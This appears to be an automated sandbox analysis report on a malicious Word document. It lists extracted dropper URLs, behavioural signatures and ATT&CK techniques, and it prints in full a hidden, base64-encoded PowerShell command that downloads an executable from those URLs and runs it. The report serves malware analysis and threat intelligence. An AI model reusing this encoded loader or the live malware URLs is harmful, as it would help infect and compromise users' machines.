Analysis

  • max time kernel
    29s
  • resource
    win10v191014
  • submitted
    27-01-2020 22:19

General

  • Target

    cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d.doc

  • Sample

    200127-s1eg1rhtw6

  • SHA256

    cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://delhisexclinic.com/zds/jUzItNFoNN/

exe.dropper

https://lelangg.online/uydlcvg/xoZAiAes/

exe.dropper

https://usispf.org/wp-admin/vjWaya/

exe.dropper

https://www.sexylady.space/wp-admin/JM/

exe.dropper

https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:4948
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:3188

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads